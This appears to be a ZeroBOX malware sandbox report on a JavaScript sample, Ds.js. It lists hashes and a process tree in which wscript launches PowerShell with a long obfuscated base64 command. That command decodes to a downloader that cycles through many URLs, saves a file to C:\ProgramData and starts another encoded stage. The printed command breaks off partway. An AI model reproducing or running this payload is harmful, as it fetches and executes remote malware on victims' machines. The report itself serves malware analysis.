popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Ds.js

Generic Malware Antivirus Hide_URL AntiDebug AntiVM PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 June 21, 2023, 7:04 a.m. June 21, 2023, 7:07 a.m.
Size 536.5KB
Type UTF-8 Unicode text, with very long lines, with CRLF line terminators
MD5 7c9e3841723fabbf0791e8b1c6f431dc
SHA256 832e5c098074700ef0446234f61e3c094b27ce93535f452490b36cf02da897bd
CRC32 A1C308C0
ssdeep 6144:izW2t8uoE1y4V/gjAdkAdIQXnfVLe91SbadeOWJOtdwg5RV5:izW2t8uoE1y4V/gjAdkAdJhqSbaPrpV5
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\Ds.js

    3052

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABSAG8AcwBlAHcAbwByAHQATgBvAG4AYQBzAHQAcgBvAG4AbwBtAGkAYwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAYwBBAE8AQQBBAHUAQQBEAEUAQQBOAFEAQQB3AEEAQwA0AEEATQBnAEEAMABBAEQARQBBAEwAZwBBAHgAQQBEAEkAQQBNAFEAQQA9AHYAZABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAGMAQQBjAGcAQgBsAEEARwBFAEEAYwB3AEIAcABBAEcAVQBBAGMAZwBCAFMAQQBHAFUAQQBiAEEAQgBoAEEASABRAEEAYQBRAEIAMgBBAEcARQBBAGIAQQBBAHUAQQBIAE0AQQBiAHcAQgBtAEEASABRAEEAZAB3AEIAaABBAEgASQBBAFoAUQBBAD0AIgA7ACQAUwB1AHAAZQByAHIAZQBmAGkAbgBlAGQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBPAEEAQQAyAEEAQwA0AEEATQBnAEEAeABBAEQAUQBBAEwAZwBBAHkAQQBEAEkAQQBOAFEAQQB1AEEARABJAEEATgBRAEEAeABBAEEAPQA9ACIAOwAkAE4AZQB3AHMAcgBlAGUAbABzAFIAaQBjAG8AYwBoAGUAdABlAGQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBPAEEAQQAzAEEAQwA0AEEATQBRAEEAegBBAEQAZwBBAEwAZwBBAHgAQQBEAGcAQQBNAHcAQQB1AEEARABjAEEATwBBAEEAPQBMAEIAawBaAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAQQBBAE4AQQBBAHUAQQBEAGsAQQBPAEEAQQB1AEEARABnAEEATwBRAEEAdQBBAEQARQBBAE8AUQBBADUAQQBBAD0APQBMAEIAawBaAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUASQBBAFkAUQBCAHoAQQBHAGsAQQBjAEEAQgB2AEEARwBRAEEAYQBRAEIAMABBAEcAawBBAFkAdwBCAFEAQQBHAGcAQQBiAHcAQgBsAEEARwA0AEEAYQBRAEIAagBBAEcARQBBAFkAdwBCAGwAQQBHAEUAQQBaAFEAQQB1AEEARwBrAEEAYgBRAEIAdABBAEcAOABBAFkAZwBCAHAAQQBHAHcAQQBhAFEAQgBsAEEARwA0AEEATABCAGsAWgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEEAQQBOAFEAQQB1AEEARABFAEEATgBBAEEAMwBBAEMANABBAE0AUQBBAHoAQQBEAEUAQQBMAGcAQQB5AEEARABBAEEATwBBAEEAPQAiADsAJABvAHIAZABpAG4AYQByAGkAYQB0AGUATwB1AHQAdABoAHIAdQBzAHQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAE0AQQBNAFEAQQB1AEEARABrAEEATgB3AEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBOAHcAQQB5AEEAQwA4AEEAWgB3AEIAUwBBAEMAOABBAGEAQQBCADMAQQBHADQAQQBWAFEAQQA9AE0AeABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFUAQQBPAFEAQQB1AEEARABFAEEATwBBAEEAMQBBAEMANABBAE0AZwBBAHgAQQBEAFUAQQBMAGcAQQB4AEEARABJAEEATwBBAEEAdgBBAEYAYwBBAE0AUQBBAHYAQQBHAFUAQQBhAEEAQgBtAEEAQQA9AD0ATQB4AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAaABBAEgAUQBBAGIAUQBCAHYAQQBIAE0AQQBkAEEAQgBsAEEARwBFAEEAVQB3AEIAMQBBAEgAQQBBAFoAUQBCAHkAQQBIAFEAQQBaAFEAQgB5AEEASABJAEEAWQBRAEIAdQBBAEcAVQBBAFkAUQBCAHUAQQBDADQAQQBiAEEAQgBwAEEARwBjAEEAYQBBAEIAMABBAEcAawBBAGIAZwBCAG4AQQBDADgAQQBjAHcAQQB2AEEARgBNAEEATQB4AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQASQBBAEwAZwBBAHkAQQBEAEEAQQBOAHcAQQB2AEEARgBBAEEAWgBRAEEAMgBBAEYARQBBAEwAdwBCAG0AQQBHAEkAQQBiAFEAQgBUAEEARQBFAEEAVABnAEEAMwBBAEEAPQA9AE0AeABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFkAQQBNAGcAQQB1AEEARABJAEEATgBRAEEAeQBBAEMANABBAE0AUQBBADMAQQBEAFUAQQBMAGcAQQB5AEEARABFAEEATwBRAEEAdgBBAEcANABBAGQAdwBBADAAQQBFAHcAQQBkAEEAQQB2AEEASABZAEEAVwBBAEEAMgBBAEUAMABBAE4AZwBBAD0ATQB4AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQAVQBBAEwAZwBBAHgAQQBEAGcAQQBNAEEAQQB2AEEARgBFAEEAYwB3AEIAVgBBAEMAOABBAE4AZwBCAFUAQQBIAGMAQQBRAHcAQgBGAEEARQBzAEEAIgA7ACQAUwBwAGEAcgBzAGkAbwBwAGwAYQBzAHQAQQBzAHMAZQBhAGwAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBhAEEAQgA1AEEASABRAEEAYgB3AEIAdwBBAEcAZwBBAGUAUQBCAHMAQQBHADgAQQBaAHcAQgBsAEEARwA0AEEAYQBRAEIAagBBAEYAQQBBAGIAdwBCAHMAQQBIAGsAQQBZAHcAQgBvAEEARwBFAEEAYwB3AEIAcABBAEcARQBBAEwAZwBCAGoAQQBHADgAQQBaAGcAQgBtAEEARwBVAEEAWgBRAEEAPQBxAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUANABBAFoAUQBCADMAQQBIAE0AQQBiAFEAQgBsAEEARwA0AEEATABnAEIAagBBAEcARQBBAFkAZwBBAD0AcQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADAAQQBHADgAQQBlAEEAQgBwAEEARwBNAEEAYgB3AEIAawBBAEcAVQBBAGMAZwBCAHQAQQBHAEUAQQBkAEEAQgBwAEEASABRAEEAYQBRAEIAegBBAEMANABBAGIAUQBCAGwAQQBBAD0APQBxAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcASQBBAGIAQQBCAGgAQQBHAE0AQQBhAHcAQgAwAEEARwA4AEEAYwBBAEIAegBBAEMANABBAFkAZwBCADEAQQBHAGsAQQBiAEEAQgBrAEEAQQA9AD0AIgA7ACQAdQBuAGEAbgB0AGkAYwBpAHAAYQB0AGUAZABsAHkAVQBuAGQAZQBwAHIAZQBjAGEAdABpAG4AZwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcARQBBAGQAUQBCADAAQQBHADgAQQBZAHcAQgA1AEEASABNAEEAZABBAEIAdgBBAEgAQQBBAGIAQQBCAGgAQQBIAE0AQQBkAEEAQgA1AEEAQwA0AEEAWgB3AEIAcABBAEgAWQBBAFoAUQBCAHoAQQBBAD0APQBmAEYAYwBOAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE4AQQBBAHoAQQBDADQAQQBNAFEAQQA1AEEARABrAEEATABnAEEANQBBAEQATQBBAEwAZwBBADEAQQBEAGcAQQBmAEYAYwBOAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAagBBAEcAZwBBAGIAQQBCAHYAQQBIAEkAQQBhAEEAQgBsAEEASABnAEEAYQBRAEIAawBBAEcAawBBAGIAZwBCAGwAQQBFADAAQQBiAHcAQgB1AEEARwA4AEEAYgBBAEIAaABBAEgAUQBBAFoAUQBCAHkAQQBDADQAQQBkAHcAQgBoAEEASABRAEEAWQB3AEIAbwBBAEEAPQA9AGYARgBjAE4AYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgB3AEEAMgBBAEMANABBAE0AUQBBADUAQQBEAEUAQQBMAGcAQQAzAEEARABFAEEATABnAEEAeQBBAEQASQBBAE0AZwBBAD0AIgA7ACQAcgBlAHAAZQBhAHQAZQByAEMAbwBsAGwAbwBxAHUAaQBhAGwAaQB0AHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAFEAQQB1AEEARABFAEEATwBBAEEAMQBBAEMANABBAE0AUQBBADAAQQBEAFEAQQBMAGcAQQB4AEEARABZAEEATQBRAEEAPQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJAB1AG4AcwB0AG8AcABwAGEAYgBsAGUATwBrAGUAbgBpAHQAZQAgAGkAbgAgACQAbwByAGQAaQBuAGEAcgBpAGEAdABlAE8AdQB0AHQAaAByAHUAcwB0ACAALQBzAHAAbABpAHQAIAAiAE0AeAAiACkAIAB7ACQAYwBoAG8AbgBkAHIAbwBpAHQAaQBuAE8AYwBoAGwAbwBjAHIAYQB0AGkAYwBhAGwAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAEUAQQBOAHcAQQB1AEEARABJAEEATQBRAEEANQBBAEMANABBAE0AZwBBAHkAQQBEAEkAQQBMAGcAQQB4AEEARABRAEEATgBnAEEAPQB6AHgATwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADIAQQBEAEUAQQBMAGcAQQB5AEEARABFAEEATQB3AEEAdQBBAEQARQBBAE0AUQBBADMAQQBDADQAQQBNAGcAQQB4AEEARABNAEEAegB4AE8AYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgBBAEEAMgBBAEMANABBAE0AUQBBAHkAQQBEAEkAQQBMAGcAQQB5AEEARABVAEEATgBBAEEAdQBBAEQASQBBAE4AQQBBAHcAQQBBAD0APQB6AHgATwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFADgAQQBkAGcAQgBsAEEASABJAEEAWQB3AEIAcwBBAEgAVQBBAGQAQQBCADAAQQBHAFUAQQBjAGcAQQB1AEEARwBvAEEAWgBRAEIAMABBAEgAbwBBAGQAQQBBAD0AIgA7ACQAZABpAHAAaAB5AGMAZQByAGMAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAYwBBAE4AZwBBAHUAQQBEAEUAQQBOAGcAQQB3AEEAQwA0AEEATQBnAEEAMABBAEQARQBBAEwAZwBBAHkAQQBEAEEAQQBPAEEAQQA9AGIAVABUAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcATQBBAGEAQQBCAGwAQQBHAGsAQQBjAGcAQgB2AEEARwAwAEEAWgBRAEIAbgBBAEcARQBBAGIAQQBCADUAQQBFAFUAQQBiAFEAQgB3AEEARwA4AEEAYwBnAEIAMABBAEcAMABBAFoAUQBCAHUAQQBIAFEAQQBMAGcAQgBsAEEARwBFAEEAYwBnAEIAMABBAEcAZwBBACIAOwB0AHIAeQAgAHsAJAByAGEAdAB0AGUAcgBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABZAEEATgB3AEEAdQBBAEQAWQBBAE4AQQBBAHUAQQBEAEUAQQBOAHcAQQA1AEEAQwA0AEEATQBRAEEAdwBBAEQASQBBAEUAbQBIAHYAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQA0AEEARABNAEEATABnAEEAeQBBAEQAUQBBAE0AZwBBAHUAQQBEAEUAQQBOAEEAQQAzAEEAQwA0AEEATgB3AEEANABBAEEAPQA9ACIAOwAkAHMAbgBpAGYAZgBpAG4AZwBNAGUAcgBpAHMAbQBhAHQAaQBjACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBvAEEASABrAEEAYwBBAEIAbABBAEgASQBBAFkAdwBCAGgAQQBIAFEAQQBZAFEAQgBzAEEARwBVAEEAWQB3AEIAMABBAEcAawBBAFkAdwBCAEMAQQBHAFUAQQBjAFEAQgAzAEEARwBVAEEAZABBAEIAbABBAEMANABBAFoAdwBCAHkAQQBBAD0APQAiADsAJABBAG4AYQBzAHQAYQB0AGUASABlAG0AYQBkAHIAbwBtAG8AZwByAGEAcABoACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABFAEEATgB3AEEAdQBBAEQASQBBAE0AdwBBAHgAQQBDADQAQQBPAFEAQQB3AEEAQwA0AEEATQBnAEEAdwBBAEQAawBBAHUAcgByAEsAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATwBBAEEAdQBBAEQAWQBBAE4AQQBBAHUAQQBEAEkAQQBNAGcAQQA0AEEAQwA0AEEATQBRAEEAMgBBAEQAYwBBAHUAcgByAEsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBjAEEAYwBnAEIAdgBBAEgAWQBBAFoAUQBCADAAQQBFAFEAQQBhAFEAQgBpAEEARwBJAEEAYgBBAEIAcABBAEcANABBAFoAdwBBAHUAQQBIAGsAQQBiAHcAQgBuAEEARwBFAEEAdQByAHIASwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBiAEEAQgBoAEEARwA0AEEAZABBAEIAaABBAEcAYwBBAGIAdwBBAHUAQQBHAEUAQQBZAHcAQgBoAEEARwBRAEEAWgBRAEIAdABBAEgAawBBACIAOwAkAFcAaABpAHQAZQBkAGEAbQBwAEMAaAB1AGYAZgB5ACAAPQAgACQAdQBuAHMAdABvAHAAcABhAGIAbABlAE8AawBlAG4AaQB0AGUAOwAkAFQAcgBvAGcAZwBzAEgAeQBwAG8AZwBlAHUAcwBpAGEAIAA9ACAAIgBhAHcAQgB1AEEARwBVAEEAWgBRAEIAcwBBAEcAVQBBAGMAZwBCAHoAQQBFAHcAQQBZAFEAQgBpAEEARwBVAEEAYgBBAEIAcwBBAEcAVQBBAFoAQQBBAHUAQQBHAFEAQQBiAEEAQgBzAEEAQQA9AD0AIgA7ACQAQQB1AHQAbwBwAG8AcwBpAHQAaQB2AGUAQgBhAGcAaABsAGEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVwBoAGkAdABlAGQAYQBtAHAAQwBoAHUAZgBmAHkAKQApADsAJABsAG8AcABzAGkAZABlAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVAByAG8AZwBnAHMASAB5AHAAbwBnAGUAdQBzAGkAYQApACkAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAEEAdQB0AG8AcABvAHMAaQB0AGkAdgBlAEIAYQBnAGgAbABhACAALQBPACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcACQAbABvAHAAcwBpAGQAZQBkADsAJAByAGEAdAB0AGUAcgBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABZAEEATgB3AEEAdQBBAEQAWQBBAE4AQQBBAHUAQQBEAEUAQQBOAHcAQQA1AEEAQwA0AEEATQBRAEEAdwBBAEQASQBBAEUAbQBIAHYAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQA0AEEARABNAEEATABnAEEAeQBBAEQAUQBBAE0AZwBBAHUAQQBEAEUAQQBOAEEAQQAzAEEAQwA0AEEATgB3AEEANABBAEEAPQA9ACIAOwAkAHMAbgBpAGYAZgBpAG4AZwBNAGUAcgBpAHMAbQBhAHQAaQBjACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBvAEEASABrAEEAYwBBAEIAbABBAEgASQBBAFkAdwBCAGgAQQBIAFEAQQBZAFEAQgBzAEEARwBVAEEAWQB3AEIAMABBAEcAawBBAFkAdwBCAEMAQQBHAFUAQQBjAFEAQgAzAEEARwBVAEEAZABBAEIAbABBAEMANABBAFoAdwBCAHkAQQBBAD0APQAiADsAJABBAG4AYQBzAHQAYQB0AGUASABlAG0AYQBkAHIAbwBtAG8AZwByAGEAcABoACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABFAEEATgB3AEEAdQBBAEQASQBBAE0AdwBBAHgAQQBDADQAQQBPAFEAQQB3AEEAQwA0AEEATQBnAEEAdwBBAEQAawBBAHUAcgByAEsAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATwBBAEEAdQBBAEQAWQBBAE4AQQBBAHUAQQBEAEkAQQBNAGcAQQA0AEEAQwA0AEEATQBRAEEAMgBBAEQAYwBBAHUAcgByAEsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBjAEEAYwBnAEIAdgBBAEgAWQBBAFoAUQBCADAAQQBFAFEAQQBhAFEAQgBpAEEARwBJAEEAYgBBAEIAcABBAEcANABBAFoAdwBBAHUAQQBIAGsAQQBiAHcAQgBuAEEARwBFAEEAdQByAHIASwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBiAEEAQgBoAEEARwA0AEEAZABBAEIAaABBAEcAYwBBAGIAdwBBAHUAQQBHAEUAQQBZAHcAQgBoAEEARwBRAEEAWgBRAEIAdABBAEgAawBBACIAOwAkAFQAZQBpAG4AZABlAHIAIAA9ACAAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwAJABsAG8AcABzAGkAZABlAGQAKQAuAEwAZQBuAGcAdABoADsAJABzAGwAYQB1AGcAaAB0AGUAcgBlAHIAUwBpAG0AYgBsAGkAbgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAMQBBAEcANABBAGMAdwBCAGgAQQBHAE0AQQBjAGcAQgBwAEEARwBZAEEAYQBRAEIAagBBAEcAVQBBAFkAUQBCAGkAQQBHAHcAQQBlAFEAQgBWAEEARwA0AEEAYgBBAEIAdgBBAEcATQBBAGEAdwBCAHoAQQBDADQAQQBjAEEAQgBwAEEARwBNAEEAZABBAEIAMQBBAEgASQBBAFoAUQBCAHoAQQBBAD0APQAiADsAJABDAG8AYQByAGIAaQB0AHIAYQB0AG8AcgBQAG8AZQBzAGkAbABlAHMAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAUQBBAGEAQQBCADEAQQBHAG8AQQBZAFEAQgB6AEEAQwA0AEEAWgB3AEIAcABBAEcAWQBBAGQAQQBBAD0AUABwAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAwAEEARABrAEEATABnAEEAeABBAEQAVQBBAE0AdwBBAHUAQQBEAEUAQQBNAGcAQQAxAEEAQwA0AEEATQBRAEEAdwBBAEQAawBBAFAAcABQAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAUQBBAE4AdwBBAHUAQQBEAEUAQQBPAEEAQQAzAEEAQwA0AEEATwBBAEEAMQBBAEMANABBAE8AQQBBAHgAQQBBAD0APQAiADsAaQBmACAAKAAkAFQAZQBpAG4AZABlAHIAIAAtAGcAZQAgADUANAAzADQAMgApAHsAJABSAGUAbQBpAG4AdABzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgBBAEEAeQBBAEMANABBAE0AZwBBAHoAQQBEAEEAQQBMAGcAQQA1AEEARABJAEEATABnAEEAeQBBAEQARQBBAE0AUQBBAD0AcABMAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAQQBBAGMAdwBCAGwAQQBIAFUAQQBaAEEAQgBsAEEASABBAEEAYQBRAEIAbgBBAEgASQBBAFkAUQBCAHcAQQBHAGcAQQBhAFEAQgBqAEEARQBFAEEAYwBnAEIAagBBAEcAZwBBAGEAUQBCAHQAQQBHAFUAQQBaAEEAQgBsAEEARwBFAEEAYgBnAEEAdQBBAEcASQBBAGMAZwBCADEAQQBIAE0AQQBjAHcAQgBsAEEARwB3AEEAYwB3AEEAPQBwAEwAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBJAEEASABrAEEAYwBBAEIAdgBBAEgAUQBBAGEAQQBCAGwAQQBIAFEAQQBhAFEAQgBqAEEAQwA0AEEAWgBBAEIAdgBBAEgAYwBBAGIAZwBCAHMAQQBHADgAQQBZAFEAQgBrAEEAQQA9AD0AcABMAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQATQBBAE0AdwBBAHUAQQBEAEUAQQBPAFEAQQB3AEEAQwA0AEEATQBnAEEAeQBBAEQAQQBBAEwAZwBBAHgAQQBEAFEAQQBOAEEAQQA9ACIAOwBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAEoAQQBCAHYAQQBHAE0AQQBjAGcAQgBoAEEARwBNAEEAZQBRAEIAVABBAEgAVQBBAFkAZwBCAHoAQQBHAE0AQQBiAEEAQgBsAEEASABJAEEAYgB3AEIAMABBAEcAawBBAFkAdwBBAGcAQQBEADAAQQBJAEEAQQBpAEEASABRAEEAYQBBAEIAcABBAEcAOABBAFkAdwBCAGgAQQBIAEkAQQBZAGcAQgBwAEEARwAwAEEAYQBRAEIAawBBAEcAVQBBAFUAZwBCAGwAQQBHAEkAQQBiAHcAQgAxAEEARwA0AEEAWgBBAEIAbABBAEgASQBBAEkAZwBBADcAQQBDAFEAQQBjAHcAQgBsAEEARwAwAEEAYQBRAEIAbQBBAEcAVQBBAGQAUQBCAGsAQQBHAEUAQQBiAEEAQQBnAEEARAAwAEEASQBBAEEAaQBBAEcAVQBBAGIAUQBCAHAAQQBHAGMAQQBjAGcAQgBoAEEASABRAEEAYQBRAEIAdQBBAEcAYwBBAFUAQQBCAHYAQQBHAHcAQQBlAFEAQgB3AEEARwBFAEEAYwBnAEIAcABBAEgAVQBBAGIAUQBBAGkAQQBEAHMAQQBKAEEAQgBOAEEARwBFAEEAYwBnAEIAcABBAEcARQBBAGIAQQBCAHAAQQBIAFEAQQBaAFEAQQBnAEEARAAwAEEASQBBAEEAaQBBAEgAUQBBAGEAQQBCADEAQQBHADQAQQBaAEEAQgBsAEEASABJAEEAWQBnAEIAdgBBAEcAdwBBAGQAQQBCAHoAQQBGAFkAQQBZAFEAQgB6AEEASABRAEEAYQBRAEIAbABBAEgASQBBAEkAZwBBADcAQQBHAE0AQQBiAFEAQgBrAEEAQwBBAEEATAB3AEIAagBBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAFEAdwBBADYAQQBGAHcAQQBVAEEAQgB5AEEARwA4AEEAWgB3AEIAeQBBAEcARQBBAGIAUQBCAEUAQQBHAEUAQQBkAEEAQgBoAEEARgB3AEEAYQB3AEIAdQBBAEcAVQBBAFoAUQBCAHMAQQBHAFUAQQBjAGcAQgB6AEEARQB3AEEAWQBRAEIAaQBBAEcAVQBBAGIAQQBCAHMAQQBHAFUAQQBaAEEAQQB1AEEARwBRAEEAYgBBAEIAcwBBAEMAdwBBAGIAUQBCAHYAQQBIAEkAQQBaAFEAQQA3AEEAQwBRAEEAUgB3AEIAMQBBAEcAawBBAFoAQQBCAGgAQQBHADQAQQBZAHcAQgBsAEEARQBNAEEAWQBRAEIAdABBAEcASQBBAGMAZwBCAGwAQQBHAHcAQQBJAEEAQQA5AEEAQwBBAEEASQBnAEIAVgBBAEcANABBAGQAdwBCAG8AQQBHAGsAQQBiAFEAQgB3AEEARwBVAEEAYwBnAEIAcABBAEcANABBAFoAdwBBAGkAQQBEAHMAQQBKAEEAQgBTAEEARwBVAEEAZABnAEIAbABBAEcANABBAFoAdwBCAGwAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEASQBBAEEAOQBBAEMAQQBBAEkAZwBCAFEAQQBHAGcAQQBhAFEAQgBzAEEARwBrAEEAYwBBAEIAdwBBAEcAawBBAGMAdwBCAHQAQQBDAEkAQQBPAHcAQQBrAEEARQBrAEEAYwBnAEIAcABBAEgATQBBAFkAdwBCAHYAQQBIAEEAQQBaAFEAQgBUAEEARwB3AEEAWQBRAEIAdQBBAEcAYwBBAGQAUQBCAHMAQQBHAEUAQQBjAGcAQQBnAEEARAAwAEEASQBBAEEAaQBBAEUASQBBAFkAUQBCAHUAQQBHAEUAQQBiAGcAQgBwAEEASABNAEEAZABBAEEAaQBBAEQAcwBBAEoAQQBCAFEAQQBIAFUAQQBjAEEAQgBwAEEARwB3AEEAYgBBAEIAbABBAEgATQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBpAEEARQBNAEEAYgB3AEIAcwBBAEcAdwBBAFkAUQBCAHkAQQBHAEkAQQBhAFEAQgB5AEEARwBRAEEAVgBRAEIAdQBBAEcAWQBBAFoAUQBCAHAAQQBHAGMAQQBiAGcAQgBsAEEARwBRAEEAYgBnAEIAbABBAEgATQBBAGMAdwBBAGkAQQBEAHMAQQAiADsAJABTAHAAYQBsAGwAYQBiAGwAZQBIAHUAcwBiAGEAbgBkAGwAaQBuAGUAcwBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABnAEEATQBRAEEAdQBBAEQAYwBBAE8AUQBBAHUAQQBEAEUAQQBOAGcAQQAwAEEAQwA0AEEATQBRAEEAeQBBAEQAQQBBAEUAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBjAEEAWgBRAEIAeQBBAEcAMABBAFkAUQBCAHUAQQBHAGsAQQBlAGcAQgBoAEEASABRAEEAYQBRAEIAdgBBAEcANABBAFMAQQBCADUAQQBHAFEAQQBZAFEAQgAwAEEARwA4AEEAYgBRAEIAdgBBAEgASQBBAGMAQQBCAG8AQQBHAGsAQQBZAHcAQQB1AEEASABJAEEAWgBRAEIAdQBBAEgAUQBBAFkAUQBCAHMAQQBIAE0AQQBFAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEA